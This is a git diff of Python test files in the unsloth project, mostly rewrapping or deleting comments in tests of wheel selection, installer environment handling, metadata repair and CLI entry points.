ctrl.tokenize([texts[0]])["input_ids"][0].tolist()diff --git a/tests/python/test_flash_attn_install_python_stack.py b/tests/python/test_flash_attn_install_python_stack.pyindex 54f6ee6fbdb..c692ca8a7cd 100644--- a/tests/python/test_flash_attn_install_python_stack.py+++ b/tests/python/test_flash_attn_install_python_stack.py@@ -24,19 +24,18 @@ class TestPrebuiltWheelTorchMapping:assert wheel_utils.prebuilt_wheel_torch_mm("2.12") == "2.10"def test_other_versions_pass_through(self):- # 2.13 stays unmapped on purpose: a torch minor only joins the reuse- # table once its wheels have actually been measured.+ # 2.13 stays unmapped on purpose: a torch minor only joins the reuse table once its wheels have actually been+ # measured.for torch_mm in ("2.9", "2.10", "2.13"):assert wheel_utils.prebuilt_wheel_torch_mm(torch_mm) == torch_mmdef test_reuse_never_targets_a_pre_210_wheel(self):- # torch broke extension ABI between 2.9 and 2.10, so the torch2.9 .so- # raises "undefined symbol" on 2.10+. Reuse may only point at torch2.10.+ # torch broke extension ABI between 2.9 and 2.10, so the torch2.9 .so raises "undefined symbol" on 2.10+.assert set(wheel_utils._PREBUILT_WHEEL_TORCH_MM.values()) == {"2.10"}def test_direct_wheel_url_reuses_torch210_on_211(self):- # causal-conv1d / mamba go through direct_wheel_url; torch 2.11 reuses the- # torch2.10 wheel filename just like flash-attn does.+ # causal-conv1d / mamba go through direct_wheel_url; torch 2.11 reuses the torch2.10 wheel filename just like+ # flash-attn does.url = wheel_utils.direct_wheel_url(filename_prefix = "causal_conv1d",package_version = "1.6.1",@@ -73,14 +72,13 @@ class TestPrebuiltWheelTorchMapping:class TestFlashAttnWheelSelection:def test_torch_210_maps_to_v281(self):- # v2.8.1 is the newest release still publishing the full torch2.10 asset- # matrix (cu12 + cu13, cp312 + cp313, x86_64 + aarch64).+ # v2.8.1 is the newest release still publishing the full torch2.10 asset matrix (cu12 + cu13, cp312 + cp313,+ # x86_64 + aarch64).assert ips._select_flash_attn_version("2.10") == "2.8.1"def test_selected_version_is_never_a_post_release(self):- # The v2.8.3.post1 respin dropped every torch2.10 asset and stops at- # torch2.9, whose .so will not load on torch 2.10+. A future "just take- # the newest release" bump must fail here instead of shipping that.+ # The v2.8.3.post1 respin dropped every torch2.10 asset and stops at torch2.9, whose .so will not load on+ # torch 2.10+. A future "just take the newest release" bump must fail here instead of shipping that.for torch_mm in ("2.4", "2.7", "2.9", "2.10"):version = ips._select_flash_attn_version(torch_mm)assert version is not None@@ -90,8 +88,8 @@ class TestFlashAttnWheelSelection:assert ips._select_flash_attn_version("2.9") == "2.8.3"def test_torch_211_has_no_native_version_entry(self):- # The raw version table has no torch2.11-tagged wheel; the URL builder- # reuses the torch2.10 wheel instead (see test_torch_211_reuses_torch210_wheel).+ # The raw version table has no torch2.11-tagged wheel;+ # the URL builder reuses the torch2.10 wheel instead (see test_torch_211_reuses_torch210_wheel).assert ips._select_flash_attn_version("2.11") is Nonedef test_torch_211_reuses_torch210_wheel(self):@@ -599,9 +597,8 @@ class TestEnsureFlashAttn:mock_install_wheel.assert_not_called()def test_windows_skips_install_without_probing(self):- # flash-attn is Linux-only: on Windows the installer returns before- # probing the torch env or resolving a wheel (no Windows wheels are- # published upstream).+ # flash-attn is Linux-only: on Windows the installer returns before probing the torch env or resolving a+ # wheel (no Windows wheels are published upstream).with (mock.patch.object(ips, "NO_TORCH", False),mock.patch.object(ips, "IS_WINDOWS", True),diff --git a/tests/python/test_get_chat_template_escaping.py b/tests/python/test_get_chat_template_escaping.pyindex 85239390f01..814eecc84fa 100644--- a/tests/python/test_get_chat_template_escaping.py+++ b/tests/python/test_get_chat_template_escaping.py@@ -42,8 +42,8 @@ MESSAGES = [def _render(template):- # No system turn in `messages`, so the template falls back to the baked-in- # {system_message} literal, the path under test.+ # No system turn in `messages`, so the template falls back to the baked-in {system_message} literal, the path under+ # test.environment = ImmutableSandboxedEnvironment(trim_blocks = True, lstrip_blocks = True)return environment.from_string(template).render(messages = [{"role": "user", "content": "Hi"}],@@ -68,8 +68,8 @@ def test_system_message_survives_the_jinja_literal(name, label, system_message):@pytest.mark.parametrize("name", TEMPLATES_WITH_SYSTEM_MESSAGE)def test_default_system_message_renders_verbatim(name):- # Defaults are no longer hand-escaped in the source; escaping them twice would- # surface a literal backslash to the user.+ # Defaults are no longer hand-escaped in the source; escaping them twice would surface a literal backslash to the+ # user.default = DEFAULT_SYSTEM_MESSAGE[name]template, _ = _change_system_message(CHAT_TEMPLATES[name][0], name, None)assert default in _render(template)@@ -86,7 +86,7 @@ def test_vicuna_default_has_a_plain_apostrophe(name):@pytest.mark.parametrize("quote", ["'", '"'])@pytest.mark.parametrize("label, text", MESSAGES, ids = [m[0] for m in MESSAGES])def test_escape_round_trips_in_either_quote_style(quote, label, text):- # get_chat_template also splices ShareGPT `mapping` values into literals, and- # llama-3.1 uses "..." where the rest use '...', so one escaper must cover both.+ # get_chat_template also splices ShareGPT `mapping` values into literals, and llama-3.1 uses "..." where the rest+ # use '...', so one escaper must cover both.template = "{{ " + quote + _escape_jinja_literal(text) + quote + " }}"assert jinja2.Environment().from_string(template).render() == textdiff --git a/tests/python/test_get_lora_parameters_bias_fp8_block_size.py b/tests/python/test_get_lora_parameters_bias_fp8_block_size.pyindex 835ad195428..d2e3ad8b1b6 100644--- a/tests/python/test_get_lora_parameters_bias_fp8_block_size.py+++ b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py@@ -3,9 +3,7 @@ from pathlib import Pathdef _load_function(name):- # Extract a function from kernels/utils.py without importing unsloth (which- # needs a GPU / torch / bitsandbytes). The functions exercised here only use- # getattr and the _FP8_WEIGHT_DTYPES name on the paths under test.+ # Extract a function from kernels/utils.py without importing unsloth (which needs a GPU / torch / bitsandbytes).source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"tree = ast.parse(source.read_text(encoding = "utf-8"))funcs = [@@ -24,8 +22,8 @@ class _Obj:def _make_disabled_block_fp8_proj(block_size):- # A merged/disabled projection whose base layer is a block-fp8 weight that- # ships a non-default block size on its checkpoint.+ # A merged/disabled projection whose base layer is a block-fp8 weight that ships a non-default block size on its+ # checkpoint.weight = _Obj()weight.quant_state = _Obj()base_layer = _Obj()@@ -41,9 +39,8 @@ def _make_disabled_block_fp8_proj(block_size):def test_bias_variant_propagates_fp8_block_size_on_disabled_path():- # Downstream fp8 kernels read getattr(weight_scale, "block_size", [128, 128]),- # so the checkpoint's real block size must survive the merged/disabled path,- # exactly as it does for the non-bias sibling get_lora_parameters.+ # Downstream fp8 kernels read getattr(weight_scale, "block_size", [128, 128]), so the checkpoint's real block size+ # must survive the merged/disabled path, exactly as it does for the non-bias sibling get_lora_parameters.get_lora_parameters_bias = _load_function("get_lora_parameters_bias")proj, weight_scale = _make_disabled_block_fp8_proj([64, 128])@@ -53,9 +50,9 @@ def test_bias_variant_propagates_fp8_block_size_on_disabled_path():def _make_decompressed_merged_proj():- # A merged compressed-tensors layer that was decompressed back to bf16. It keeps- # quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16- # so there is no quant state to attach a block size to.+ # A merged compressed-tensors layer that was decompressed back to bf16.+ # It keeps quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16 so there is no quant+ # state to attach a block size to.weight = _Obj()weight.dtype = "bfloat16"base_layer = _Obj()diff --git a/tests/python/test_get_lora_parameters_fp8_block_size.py b/tests/python/test_get_lora_parameters_fp8_block_size.pyindex f5f13591251..abc55370a17 100644--- a/tests/python/test_get_lora_parameters_fp8_block_size.py+++ b/tests/python/test_get_lora_parameters_fp8_block_size.py@@ -3,9 +3,7 @@ from pathlib import Pathdef _load_function(name):- # Extract a function from kernels/utils.py without importing unsloth (which- # needs a GPU / torch / bitsandbytes). get_lora_parameters only uses getattr,- # hasattr and the _FP8_WEIGHT_DTYPES name on the paths under test.+ # Extract a function from kernels/utils.py without importing unsloth (which needs a GPU / torch / bitsandbytes).source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"tree = ast.parse(source.read_text(encoding = "utf-8"))funcs = [@@ -24,8 +22,8 @@ class _Obj:def _make_disabled_block_fp8_proj(block_size):- # A merged/disabled projection whose base layer is a block-fp8 weight that- # ships a non-default block size on its checkpoint.+ # A merged/disabled projection whose base layer is a block-fp8 weight that ships a non-default block size on its+ # checkpoint.weight = _Obj()weight.quant_state = _Obj()base_layer = _Obj()@@ -40,9 +38,9 @@ def _make_disabled_block_fp8_proj(block_size):def test_propagates_fp8_block_size_on_disabled_path():- # get_lora_parameters already sets block_size before its early return; downstream- # fp8 kernels read getattr(weight_scale, "block_size", [128, 128]), so the- # checkpoint's real block size must survive the merged/disabled path.+ # get_lora_parameters already sets block_size before its early return;+ # downstream fp8 kernels read getattr(weight_scale, "block_size", [128, 128]), so the checkpoint's real block size+ # must survive the merged/disabled path.get_lora_parameters = _load_function("get_lora_parameters")proj, weight_scale = _make_disabled_block_fp8_proj([64, 128])@@ -52,9 +50,9 @@ def test_propagates_fp8_block_size_on_disabled_path():def _make_decompressed_merged_proj():- # A merged compressed-tensors layer that was decompressed back to bf16. It keeps- # quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16- # so there is no quant state to attach a block size to.+ # A merged compressed-tensors layer that was decompressed back to bf16.+ # It keeps quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16 so there is no quant+ # state to attach a block size to.weight = _Obj()weight.dtype = "bfloat16"base_layer = _Obj()@@ -69,10 +67,9 @@ def _make_decompressed_merged_proj():def test_keeps_none_quant_state_for_decompressed_layer():- # Mirrors the get_lora_parameters_bias guard: with no quant state, assigning- # W_quant.block_size must not assume one is present, or it raises AttributeError- # on None. fast_lora relies on getting W_quant None back to fall back to a plain- # matmul, so this path must stay crash-free.+ # Mirrors the get_lora_parameters_bias guard: with no quant state, assigning W_quant.block_size must not assume one+ # is present, or it raises AttributeError on None.+ # fast_lora relies on getting W_quant None back to fall back to a plain matmul, so this path must stay crash-free.get_lora_parameters = _load_function("get_lora_parameters")W, W_quant = get_lora_parameters(_make_decompressed_merged_proj())[:2]diff --git a/tests/python/test_grpo_ddp_model_config.py b/tests/python/test_grpo_ddp_model_config.pyindex 18d85a83855..64367c74ced 100644--- a/tests/python/test_grpo_ddp_model_config.py+++ b/tests/python/test_grpo_ddp_model_config.py@@ -15,10 +15,8 @@ def _read_source() -> str:def test_grpo_logit_scaling_uses_model_config_helper():src = _read_source()- # Helper exists and unwraps DDP/Accelerate wrappers via `.module`.assert "def _unsloth_get_model_config(model):" in srcassert 'getattr(model.module, "config", None)' in src- # Softcapping takes the model and tolerates a missing config.assert "logit_softcapping = _unsloth_get_final_logit_softcapping(model)" in srcassert "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1]# Logit scale/divide read through the unwrapped config, not bare model.config.diff --git a/tests/python/test_import_without_bitsandbytes.py b/tests/python/test_import_without_bitsandbytes.pyindex bd19ed651f3..cf7fe91e91b 100644--- a/tests/python/test_import_without_bitsandbytes.py+++ b/tests/python/test_import_without_bitsandbytes.py@@ -11,7 +11,8 @@ peft's 4bit LoRA layer is exported only when bnb is importable, sohere too."""-# Path | None below is a PEP 604 union; the project still supports Python 3.9.+# Path | None below is a PEP 604 union;+# the project still supports Python 3.9.from __future__ import annotationsimport ast@@ -237,8 +238,8 @@ def test_capability_fallback_precedes_the_mutually_exclusive_mode_check():src, _ = _bnb_guards()tree = ast.parse(src)checked = 0- # Scope to the enclosing function: the other loader's guard sits earlier in the- # file and would otherwise satisfy a plain line-number comparison.+ # Scope to the enclosing function: the other loader's guard sits earlier in the file and would+ # otherwise satisfy a plain line-number comparison.for func in ast.walk(tree):if not isinstance(func, ast.FunctionDef):continuediff --git a/tests/python/test_install_python_stack.py b/tests/python/test_install_python_stack.pyindex 3794cbc8df8..ba33ac90fae 100644--- a/tests/python/test_install_python_stack.py+++ b/tests/python/test_install_python_stack.py@@ -215,7 +215,7 @@ class TestPinnedIndexClearsUvEnv:assert var not in env, f"{var} must be cleared for a pinned-index install"def test_pinned_default_index_strips_uv_index_vars(self):- # --default-index must be gated too (matches install.sh / install.ps1).+ # default-index must be gated too (matches install.sh / install.ps1).cmd = ["uv", "pip", "install", "torch", "--default-index", "https://x/cu126"]with mock.patch.dict(os.environ, {"UV_INDEX": "https://mirror.corp/simple"}):env = ips._install_env_for_cmd(cmd)@@ -223,8 +223,7 @@ class TestPinnedIndexClearsUvEnv:assert "UV_INDEX" not in envdef test_non_pinned_install_keeps_user_mirror(self):- # A plain install (no --index-url) must NOT scrub the env, so a user's mirror- # still applies to base packages.+ # A plain install (no --index-url) must NOT scrub the env, so a user's mirror still applies to base packages.cmd = ["uv", "pip", "install", "unsloth", "unsloth-zoo"]with mock.patch.dict(os.environ, {"UV_INDEX": "https://mirror.corp/simple"}):env = ips._install_env_for_cmd(cmd)@@ -310,9 +309,8 @@ class TestSdistOnlyBuildArgs:def test_openai_whisper_is_covered(self):"""The package named in the issue, and the transitive one behind omegaconf."""assert "openai-whisper" in ips.SDIST_ONLY_PACKAGES- # omegaconf==2.3.1 pins antlr4-python3-runtime below the 4.13.2 wheel, so it- # arrives as a transitive sdist and fails no-build even though extras.txt- # never names it.+ # omegaconf==2.3.1 pins antlr4-python3-runtime below the 4.13.2 wheel, so it arrives as a transitive sdist and+ # fails no-build even though extras.txt never names it.assert "antlr4-python3-runtime" in ips.SDIST_ONLY_PACKAGESdef test_flags_survive_translation_to_uv(self):@@ -352,7 +350,6 @@ class TestSdistOnlyBuildArgs:):names = ips._extras_sdist_only_packages()assert ("MeCab" in names) is expected- # The unconditional ones are always present.assert set(ips.SDIST_ONLY_PACKAGES) <= set(names)def test_the_diffusers_release_is_not_forced_through_a_source_build(self):@@ -480,7 +477,6 @@ class TestHardenedPipConfigRelaxation:assert env is not Nonefor name in ("PIP_REQUIRE_HASHES", "PIP_ONLY_BINARY", "UV_NO_BUILD", "UV_EXCLUDE_NEWER"):assert name not in env, f"{name} must be cleared for a pinned install"- # The pre-existing pinned contract is unchanged.assert env["UV_NO_CONFIG"] == "1" and env["PIP_CONFIG_FILE"] == os.devnulldef test_the_parent_environment_is_never_mutated(self):@@ -537,8 +533,8 @@ class TestProgressLineNotes:with (mock.patch.dict(os.environ, {"COLUMNS": columns}),mock.patch.object(ips, "VERBOSE", verbose),- # _HAS_COLOR is resolved once at import from the tty; pinning it keeps the- # assertions valid under FORCE_COLOR=1 or `pytest -s` in a terminal.+ # _HAS_COLOR is resolved once at import from the tty;+ # pinning it keeps the assertions valid under FORCE_COLOR=1 or `pytest -s` in a terminal.mock.patch.object(ips, "_HAS_COLOR", color),mock.patch.object(ips, "_TOTAL", 14),mock.patch.object(ips, "_STEP", 4),@@ -597,7 +593,6 @@ class TestProgressLineNotes:mock.patch.object(ips, "subprocess") as sp,mock.patch.object(ips, "run") as fallback,):- # pip_install reads the result to decide whether to attempt recovery.fallback.return_value = mock.Mock(returncode = 0, stdout = b"")sp.run.return_value = fakesp.PIPE, sp.STDOUT = -1, -2@@ -762,8 +757,8 @@ class TestBuildPipCmdUpgradeIntent:assert "--upgrade-package" not in cmd, "pip does not understand the uv flag"def test_torch_is_not_dragged_along(self):- # only-if-needed is pip's current default, but it is the load-bearing- # part: eager would re-resolve the existing torch build.+ # only-if-needed is pip's current default, but it is the load-bearing part: eager would+ # re-resolve the existing torch build.cmd = ips._build_pip_cmd(("--upgrade-package", "unsloth"))assert cmd[cmd.index("--upgrade-strategy") + 1] == "only-if-needed"@@ -899,8 +894,7 @@ class TestDamagedCorePayloadRepair:check scanned zoo, forced a pass, and no repair gate would touch it."""for spelling in ("Unsloth", "UNSLOTH", "UnSloth"):assert ips._core_package_names(spelling)[1:] == ("unsloth-zoo",), spelling- # PEP 503 folds runs of -_. to -, it does not delete them, so this is a- # different project and keeps its neighbours to itself.+ # PEP 503 folds runs of -_.assert ips._core_package_names("uns_loth") == ("uns_loth",)def test_both_repair_sites_use_that_list(self):@@ -925,7 +919,6 @@ class TestDamagedCorePayloadRepair:def scan(name, **kwargs):scans["n"] += 1- # Damaged on the way in, and afterwards nothing left to call damaged.return ["gone"] if scans["n"] == 1 else []monkeypatch.setattr(ips.install_manifest, "damaged_payload_files", scan)@@ -1032,8 +1025,8 @@ class TestDuplicateCoreMetadataRepair:(backup / "METADATA").write_text("Metadata-Version: 2.1\nName: unsloth\nVersion: 2026.8.12\n", encoding = "utf-8")- # Two records; one once the backup is aside; none after the uninstall; then- # the reinstalled one for the final convergence probe.+ # Two records; one once the backup is aside; none after the uninstall; then the reinstalled one for the final+ # convergence probe.probes = iter((["2026.8.12", "2026.8.15"], ["2026.8.15"], [], ["2026.8.15"]))monkeypatch.setattr(ips.install_manifest, "installed_versions", lambda _name: next(probes))monkeypatch.setattr(ips.install_manifest, "invalid_metadata_paths", lambda _name: [])@@ -1046,7 +1039,6 @@ class TestDuplicateCoreMetadataRepair:monkeypatch.setattr(ips, "pip_install_try", lambda *a, **k: True)def record_run(_label, _cmd):- # pip only ever sees a tree it can actually act on.assert not backup.exists()return True@@ -1067,7 +1059,6 @@ class TestDuplicateCoreMetadataRepair:(backup / "METADATA").write_text("Metadata-Version: 2.1\nName: unsloth\nVersion: 2026.8.12\n", encoding = "utf-8")- # One record, none once the backup is aside, then the reinstalled one.probes = iter((["2026.8.12"], [], ["2026.8.15"]))monkeypatch.setattr(ips.install_manifest, "installed_versions", lambda _name: next(probes))monkeypatch.setattr(ips.install_manifest, "invalid_metadata_paths", lambda _name: [])@@ -1361,8 +1352,8 @@ class TestDuplicateCoreMetadataRepair:self._uv_plan(monkeypatch)requirement, overrides, _options = ips._uv_staging_plan("unsloth_zoo")assert requirement == "unsloth-zoo==2026.8.15"- # The annotation names the index the package actually came from, which is the- # one to reproduce -- not --index-url, which is only uv's default.+ # The annotation names the index the package actually came from, which is the one to reproduce -- not+ # --index-url, which is only uv's default.assert overrides["PIP_INDEX_URL"] == "https://mirror.corp/simple"assert overrides["PIP_EXTRA_INDEX_URL"] == ""assert overrides["PIP_FIND_LINKS"] == "/opt/wheels"@@ -1462,8 +1453,7 @@ class TestDuplicateCoreMetadataRepair:assert env["PIP_EXTRA_INDEX_URL"] == ""assert env["PIP_FIND_LINKS"] == "/opt/wheels"assert env["PIP_INDEX_URL"] == "https://mirror.corp/simple"- # pip.conf carries the same three settings, so it is replaced by a copy of- # itself with only those removed.+ # pip.conf carries the same three settings, so it is replaced by a copy of itself with only those removed.assert env["PIP_CONFIG_FILE"].endswith("pip.conf")assert env["PIP_CONFIG_FILE"] != os.devnull@@ -1646,7 +1636,6 @@ class TestDuplicateCoreMetadataRepair:monkeypatch.setenv("UV_OFFLINE", "1")calls = self._uv_plan(monkeypatch)assert ips._stage_replacement(str(tmp_path)) is None- # It reached pip rather than refusing, and did not consult uv for a path.assert calls and all(cmd[:3] != ["uv", "pip", "compile"] for cmd, _ in calls)assert calls[-1][0][-1] == str(tmp_path)@@ -1725,8 +1714,8 @@ class TestDuplicateCoreMetadataRepair:written = (record / "METADATA").read_text()assert "Name: realpkg" in written- # The version comes from the directory name, which is where importlib's own- # fallback reads it when METADATA cannot be parsed.+ # The version comes from the directory name, where importlib's own fallback reads it when METADATA cannot+ # be parsed.assert "Version: 1.2.3" in writtendef test_a_record_without_a_manifest_fails_closed(self, tmp_path):@@ -1774,8 +1763,8 @@ class TestDuplicateCoreMetadataRepair:assert ips._rewrite_minimal_metadata(record, "realpkg") is Trueassert "Name: realpkg" in (record / "METADATA").read_text()- # A failure after the rewrite must not leave the synthetic file behind: a- # readable record would tell the next run there is nothing left to repair.+ # A failure after the rewrite must not leave the synthetic file behind: a readable record would tell the next+ # run there is nothing left to repair.quarantine.restore()assert not (record / "METADATA").exists()@@ -1891,8 +1880,7 @@ class TestDuplicateCoreMetadataRepair:)assert ips._repair_duplicate_core_metadata(("unsloth",)) is True- # It was rewritten for pip rather than moved aside, so its RECORD is applied- # and nothing is quarantined at all.+ # It was rewritten for pip rather than moved aside, so its RECORD is applied and nothing is quarantined at all.assert taken == []assert "Name: unsloth" in (stale / "METADATA").read_text()@@ -1915,8 +1903,7 @@ class TestDuplicateCoreMetadataRepair:monkeypatch.setattr(ips.importlib, "invalidate_caches", lambda: None)monkeypatch.setattr(ips, "_run_ok", lambda *a, **k: True)monkeypatch.setattr(ips, "pip_install_try", lambda *a, **k: True)- # The second package cannot be staged, so the repair fails after the first- # one has already been reinstalled.+ # The second package cannot be staged, so the repair fails after the first one has already been reinstalled.staged = iter(("/staged", None))monkeypatch.setattr(ips, "_stage_replacement", lambda _n: next(staged))monkeypatch.setattr(@@ -1927,8 +1914,8 @@ class TestDuplicateCoreMetadataRepair:)assert ips._repair_duplicate_core_metadata(("unsloth", "unsloth-zoo")) is False- # The first package was committed before the second was attempted, so the- # rollback at the end can only touch the one that failed.+ # The first package was committed before the second was attempted, so the rollback at the end can only touch the+ # one that failed.assert events[0] == "discard"assert events[-1] == "restore"@@ -1978,7 +1965,6 @@ class TestDuplicateCoreMetadataRepair:quarantine.restore()- # Byte for byte what was there, so the conflict is still detected next time.assert (record / "METADATA").read_bytes() == b"\xff\xfe"def test_a_committed_rewrite_is_not_undone(self, tmp_path):@@ -2025,7 +2011,7 @@ class TestDuplicateCoreMetadataRepair:assert ips._repair_duplicate_core_metadata(("unsloth",)) is Falseassert "cannot be read or rewritten" in capsys.readouterr().err- # Untouched, so the next run still sees it.+ # Byte for byte what was there, so the conflict is still detected next time.assert (record / "METADATA").read_bytes() == b"\xff\xfe"def test_an_unresolvable_name_stages_nothing(self, monkeypatch):@@ -2199,10 +2185,9 @@ class TestDuplicateCoreMetadataRepair:def uninstall(_label, _cmd):runs["n"] += 1if runs["n"] == 1:- # pip removed the rewritten record's whole directory.shutil.rmtree(record)return True- return False # the next one fails, triggering the rollback+ return Falsemonkeypatch.setattr(ips, "_run_ok", uninstall)@@ -2624,8 +2609,7 @@ class TestExpectedTorchFlavorResolution:assert ips._expected_torch_flavor_tag() == "cu124"def test_a_gpuless_host_with_nothing_recorded_says_nothing(self):- # Inventing a CUDA expectation from an absent GPU would reinstall CUDA torch- # onto a CPU box on every update.+ # Inventing a CUDA expectation from an absent GPU would reinstall CUDA torch onto a CPU box on every update.with self._env():with (mock.patch.object(ips, "_RECORDED_TORCH_TAG", None),@@ -2648,16 +2632,16 @@ class TestExpectedTorchFlavorResolution:assert ips._expected_torch_flavor_tag() == "cpu"def test_the_index_url_is_reused_only_for_its_own_family(self):- # setup.ps1 hands over the /cpu index alongside a "rocm" tag on AMD Windows, so- # repairing from it would install the very CPU wheel the repair exists to remove.+ # setup.ps1 hands over the /cpu index alongside a "rocm" tag on AMD Windows, so repairing from it would install+ # the very CPU wheel the repair exists to remove.with self._env(UNSLOTH_TORCH_INSTALL_INDEX_URL = "https://mirror.local/whl/cu124/"):assert ips._expected_torch_index_url("cu124") == "https://mirror.local/whl/cu124"with self._env(UNSLOTH_TORCH_INSTALL_INDEX_URL = "https://download.pytorch.org/whl/cpu"):assert ips._expected_torch_index_url("cu124") == f"{ips._PYTORCH_WHL_BASE}/cu124"def test_a_credentialed_index_survives_intact(self):- # Why the URL is forwarded rather than rebuilt: userinfo and a token query are- # not reconstructible from a family leaf.+ # The URL is forwarded rather than rebuilt: userinfo and a token query are not+ # reconstructible from a family leaf.url = "https://user:[email protected]/whl/cu128?token=abc"with self._env(UNSLOTH_TORCH_INSTALL_INDEX_URL = url):assert ips._expected_torch_index_url("cu128") == urldiff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.pyindex 7b52d1290d8..6e4cf832610 100644--- a/tests/python/test_mlx_public_trainer_api.py+++ b/tests/python/test_mlx_public_trainer_api.py@@ -17,8 +17,8 @@ _MLX_SKIP_REASON = "MLX public trainer API is only active on the MLX backend"def _import_mlx_unsloth():"""Import unsloth and skip when the current platform is not using MLX."""- # Skip before importing unsloth so non-MLX hosts missing optional GPU deps- # (e.g. bitsandbytes) skip cleanly instead of erroring at collection.+ # Skip before importing unsloth so non-MLX hosts missing optional GPU deps (e.g. bitsandbytes) skip cleanly+ # instead of erroring at collection.if not (platform.system() == "Darwin"and platform.machine() == "arm64"@@ -73,10 +73,9 @@ def test_non_mlx_exports_public_trainer_api_when_available():try:unsloth = importlib.import_module("unsloth")except ImportError as exc:- # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo,- # bitsandbytes/triton, and _gpu_init can re-raise missing deps as- # ImportError). Skip when any of it is unavailable rather than failing- # collection on CPU/ROCm/XPU review hosts.+ # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo, bitsandbytes/triton, and _gpu_init can+ # re-raise missing deps as ImportError). Skip when any of it is unavailable rather than failing collection on+ # CPU/ROCm/XPU review hosts.pytest.skip(f"non-MLX import dependency unavailable: {exc}")if getattr(unsloth, "DEVICE_TYPE", None) == "mlx":pytest.skip("non-MLX export smoke test only runs on GPU/ROCm backends")@@ -1091,8 +1090,8 @@ def test_mlx_compatibility_shims_are_installed():assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)assert trainer_module.UnslothTrainer is unsloth.UnslothTrainerassert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator- # chat_templates now wraps the zoo function (issue #2693), so the re-export- # is no longer the same object; functools.wraps records the original.+ # chat_templates now wraps the zoo function (issue #2693), so the re-export is no longer the same object;+ # functools.wraps records the original.assert (getattr(chat_templates.train_on_responses_only,@@ -1188,7 +1187,6 @@ def test_mlx_rl_trainers_stub_with_clear_error(monkeypatch):assert "MLX" in str(exc.value) and name in str(exc.value)# trainers trl never exposed must not be inventedassert not hasattr(trl, "PPOTrainer")- # idempotent: a second install keeps the same stubstub = trl.GRPOTrainerunsloth._install_mlx_trl_sft_shim()assert trl.GRPOTrainer is stub@@ -1235,7 +1233,6 @@ def test_mlx_stubs_trl_trainers_outside_fixed_set(monkeypatch):with pytest.raises(NotImplementedError) as exc:trl.RLOOTrainer(model = None)assert "MLX" in str(exc.value) and "RLOOTrainer" in str(exc.value)- # SFT stays usable; only non-SFT trainers are stubbedassert trl.SFTTrainer is unsloth.UnslothTrainerdiff --git a/tests/python/test_module_entry_point.py b/tests/python/test_module_entry_point.pyindex 9e4f905a630..9c19782468f 100644--- a/tests/python/test_module_entry_point.py+++ b/tests/python/test_module_entry_point.py@@ -33,22 +33,20 @@ from pathlib import Pathimport pytest-# Byte-identical to WINDOWS_CLI_ENTRYPOINT in studio/src-tauri/src/process.rs,-# $script:UnslothCliTrampoline in install.ps1, and _WINDOWS_CLI_ENTRYPOINT in-# unsloth_cli/commands/studio.py. Spelled out rather than imported so an edit on-# any one side of the language boundary fails this test.+# Byte-identical to WINDOWS_CLI_ENTRYPOINT in studio/src-tauri/src/process.rs, $script:UnslothCliTrampoline in+# install.ps1, and _WINDOWS_CLI_ENTRYPOINT in unsloth_cli/commands/studio.py.TRAMPOLINE = ("import sys, os; sys.path[:1] = [x for x in sys.path[:1] if getattr(sys.flags, 'safe_path', False) or x not in ('', os.getcwd())]; ""sys.argv[0] = 'unsloth'; from unsloth_cli import app; sys.exit(app())")-# No -I. It implies -E, which would discard every PYTHON* variable the console-# script honours, and that divergence is exactly what the sys.path[:1] filter in-# the trampoline exists to avoid needing.+# No -I.+# It implies -E, which would discard every PYTHON* variable the console script honours, and that divergence is exactly+# what the sys.path[:1] filter in the trampoline exists to avoid needing.INTERPRETER = [sys.executable, "-X", "utf8"]-# Not .resolve(): a POSIX venv's bin/python is a symlink to the base interpreter,-# and resolving it would look for the console script next to /usr/bin/python3.+# Not .resolve(): a POSIX venv's bin/python is a symlink to the base interpreter, and resolving it would look for the+# console script next to /usr/bin/python3._SCRIPT_DIR = Path(sys.executable).parent_CONSOLE_SCRIPT = _SCRIPT_DIR / ("unsloth.exe" if os.name == "nt" else "unsloth")@@ -121,8 +119,8 @@ def _console_argv(*args: str) -> list[str]:return [str(_CONSOLE_SCRIPT), *args]-# Cover a clean exit, both help renderers (rich draws box characters here), and-# the two error shapes: an unknown option at the root and inside a subcommand.+# Cover a clean exit, both help renderers (rich draws box characters here), and the two error+# shapes: an unknown option at the root and inside a subcommand.PARITY_CASES = [pytest.param(["--version"], id = "version"),pytest.param(["--help"], id = "help"),@@ -208,12 +206,10 @@ def test_the_attached_np_short_is_still_canonicalised(monkeypatch):recorded["kwargs"] = kwargsmonkeypatch.setattr(unsloth_cli, "app", fake_app)- # The one-shot guard may already have fired in this interpreter.monkeypatch.setattr(unsloth_cli, "_entry_point_prepared", False)monkeypatch.setattr(sys, "argv", ["-m", "studio", "run", "-np8"])- # SystemExit, because __main__ ends in sys.exit(app()) exactly as the console- # script does. The fake app returns None, so the status is None: a clean exit.+ # SystemExit, because __main__ ends in sys.exit(app()) exactly as the console script does.with pytest.raises(SystemExit) as exit_info:runpy.run_module("unsloth_cli", run_name = "__main__", alter_sys = True)assert exit_info.value.code in (None, 0)@@ -221,8 +217,8 @@ def test_the_attached_np_short_is_still_canonicalised(monkeypatch):assert recorded["argv"] == ["unsloth", "studio", "run", "-np", "8"], ("__main__ must apply the console-script argv canonicalisation; got " f"{recorded['argv']}")- # Without this click prints `Usage: python -m unsloth_cli`, because it reads- # __main__.__package__ rather than argv[0].+ # Without this click prints `Usage: python -m unsloth_cli`, because it reads __main__.__package__ rather than+ # argv[0].assert recorded["kwargs"].get("prog_name") == "unsloth"@@ -277,12 +273,10 @@ def test_the_module_entry_source_keeps_its_two_load_bearing_details():# `-m` imports the package to locate this module, so __init__ has already run# with argv[0] == "-m" and its gate cannot fire; __main__ has to say so.assert "_prepare_entry_point()" in source- # click reads __main__.__package__ rather than argv[0] and would otherwise- # print `Usage: python -m unsloth_cli` in every usage and error string.+ # click reads __main__.__package__ rather than argv[0] and would otherwise print 